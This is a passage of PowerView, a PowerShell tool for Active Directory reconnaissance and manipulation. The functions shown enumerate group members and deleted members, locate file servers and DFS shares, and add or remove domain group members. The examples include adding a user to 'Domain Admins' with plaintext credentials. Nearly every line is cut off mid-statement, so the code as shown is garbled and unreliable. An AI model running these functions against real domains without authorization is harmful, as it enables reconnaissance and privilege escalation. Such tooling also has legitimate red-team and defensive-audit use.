$SearcherArguments['Identity'] = $Identity
$SearcherArguments['Raw'] = $True
$Group = Get-DomainGroup @SearcherArguments
if (-not $Group) {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identit
}
else {
$GroupFoundName = $Group.properties.item('samaccountname')[0]
$GroupFoundDN = $Group.properties.item('distinguishedname')[0]
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')
}
}
Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$Gro
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
$Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname
}
$Null = $SearcherArguments.Remove('Raw')
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishednam
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -rep
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.To
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Con
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstanc
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($Group
try {
$Result = $GroupSearcher.FindOne()
}
catch {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identit
$Members = @()
}
$GroupFoundName = ''
$GroupFoundDN = ''
if ($Result) {
$Members = $Result.properties.item('member')
if ($Members.count -eq 0) {
# ranged searching, thanks @meatballs__ !
$Finished = $False
$Bottom = 0
$Top = 0
while (-not $Finished) {
$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
$Null = $GroupSearcher.PropertiesToLoad.Clear()
$Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
$Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
$Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
$Members += $Result.Properties.item($RangedProperty)
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
if ($Members.count -eq 0) {
$Finished = $True
}
}
catch [System.Management.Automation.MethodInvocationException] {
$Finished = $True
}
}
}
else {
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
$Members += $Result.Properties.item($RangedProperty)
}
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')
}
}
}
}
ForEach ($Member in $Members) {
if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
}
else {
$ObjectSearcherArguments = $SearcherArguments.Clone()
$ObjectSearcherArguments['Identity'] = $Member
$ObjectSearcherArguments['Raw'] = $True
$ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,object
$Object = Get-DomainObject @ObjectSearcherArguments
$Properties = $Object.Properties
}
if ($Properties) {
$GroupMember = New-Object PSObject
$GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
if ($Properties.objectsid) {
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.ob
}
else {
$MemberSID = $Null
}
try {
$MemberDN = $Properties.distinguishedname[0]
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
try {
if (-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
$MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'Do
if ($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
else {
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC
}
}
catch {
$MemberDN = $Null
$MemberDomain = $Null
}
if ($Properties.samaccountname) {
# forest users have the samAccountName set
$MemberName = $Properties.samaccountname[0]
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArgume
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $Properties.cn[0]
}
}
if ($Properties.objectclass -match 'computer') {
$MemberObjectClass = 'computer'
}
elseif ($Properties.objectclass -match 'group') {
$MemberObjectClass = 'group'
}
elseif ($Properties.objectclass -match 'user') {
$MemberObjectClass = 'user'
}
else {
$MemberObjectClass = $Null
}
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
$GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
$GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match
Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
$SearcherArguments['Identity'] = $MemberDN
$Null = $SearcherArguments.Remove('Properties')
Get-DomainGroupMember @SearcherArguments
}
}
}
$GroupSearcher.dispose()
}
}
}
function Get-DomainGroupMemberDeleted {
<#
.SYNOPSIS
Returns information on group members that were removed from the specified
group identity. Accomplished by searching the linked attribute replication
metadata for the group using Get-DomainObjectLinkedAttributeHistory.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectLinkedAttributeHistory
.DESCRIPTION
Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
replication metadata for the specified group. These are cases where the
'Version' attribute of group member in the replication metadata is even.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMemberDeleted | Group-Object GroupDN
Count Name Group
----- ---- -----
2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
.EXAMPLE
Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T23:07:43Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded :2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T22:20:02Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded :5
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.DomainGroupMemberDeleted
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-th
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.DomainGroupMemberDeleted')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
'LDAPFilter' = '(objectCategory=group)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META
if ($TempObject) {
if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2)
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
$Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOr
$Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOrig
$Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
$Output
}
}
else {
Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetada
}
}
}
}
}
function Add-DomainGroupMember {
<#
.SYNOPSIS
Adds a domain user (or group) to an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
each entry in -Members, each member identity is similarly searched for and added
to the group.
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the group to add members to.
.PARAMETER Members
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-336619
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
Adds harmj0y to 'Domain Admins' in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$GroupContext = Get-PrincipalContext @ContextArguments
if ($GroupContext) {
try {
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($G
}
catch {
Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
}
}
}
PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = ($Member -split '\\')[1]
$ContextArguments['Domain'] = ($Member -split '\\')[0]
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($User
$Group.Members.Add($Member)
$Group.Save()
}
}
}
}
function Remove-DomainGroupMember {
<#
.SYNOPSIS
Removes a domain user (or group) from an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
each entry in -Members, each member identity is similarly searched for and removed
from the group.
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the group to remove members from.
.PARAMETER Members
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-336619
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
Removes harmj0y from 'Domain Admins' in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials.
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$GroupContext = Get-PrincipalContext @ContextArguments
if ($GroupContext) {
try {
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($G
}
catch {
Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $
}
}
}
PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($User
$Group.Members.Remove($Member)
$Group.Save()
}
}
}
}
function Get-DomainFileServer {
<#
.SYNOPSIS
Returns a list of servers likely functioning as file servers.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.DESCRIPTION
Returns a list of likely fileservers by searching for all users in Active Directory
with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
the server names.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainFileServer
Returns active file servers for the current domain.
.EXAMPLE
Get-DomainFileServer -Domain testing.local
Returns active file servers for the 'testing.local' domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainFileServer -Credential $Cred
.OUTPUTS
String
One or more strings representing file server names.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[Alias('DomainName', 'Name')]
[String[]]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Split-Path {
# short internal helper to split UNC server paths
Param([String]$Path)
if ($Path -and ($Path.split('\\').Count -ge 3)) {
$Temp = $Path.split('\\')[2]
if ($Temp -and ($Temp -ne '')) {
$Temp
}
}
}
$SearcherArguments = @{
'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:
'Properties' = 'homedirectory,scriptpath,profilepath'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
# get all results w/o the pipeline and uniquify them (I know it's not pretty)
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirector
}
}
else {
$UserSearcher = Get-DomainSearcher @SearcherArguments
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']
}
}
}
function Get-DomainDFSShare {
<#
.SYNOPSIS
Returns a list of all fault-tolerant distributed file systems
for the current (or specified) domains.
Author: Ben Campbell (@meatballs__)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.DESCRIPTION
This function searches for all distributed file systems (either version
1, 2, or both depending on -Version X) by searching for domain objects
matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
The server data is parsed appropriately and returned.
.PARAMETER Domain
Specifies the domains to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDFSShare
Returns all distributed file system shares for the current domain.
.EXAMPLE
Get-DomainDFSShare -Domain testlab.local
Returns all distributed file system shares for the 'testlab.local' domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainDFSShare -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject describing the distributed file systems.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[Alias('DomainName', 'Name')]
[String[]]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'V1', '1', 'V2', '2')]
[String]
$Version = 'All'
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
function Parse-Pkt {
[CmdletBinding()]
Param(
[Byte[]]
$Pkt
)
$bin = $Pkt
$blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
$blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
$offset = 8
#https://msdn.microsoft.com/en-us/library/cc227147.aspx
$object_list = @()
for($i=1; $i -le $blob_element_count; $i++){
$blob_name_size_start = $offset
$blob_name_size_end = $offset + 1
$blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_
$blob_name_start = $blob_name_size_end + 1
$blob_name_end = $blob_name_start + $blob_name_size - 1
$blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_na
$blob_data_size_start = $blob_name_end + 1
$blob_data_size_end = $blob_data_size_start + 3
$blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end
$blob_data_start = $blob_data_size_end + 1
$blob_data_end = $blob_data_start + $blob_data_size - 1
$blob_data = $bin[$blob_data_start..$blob_data_end]
switch -wildcard ($blob_name) {
"\siteroot" { }
"\domainroot*" {
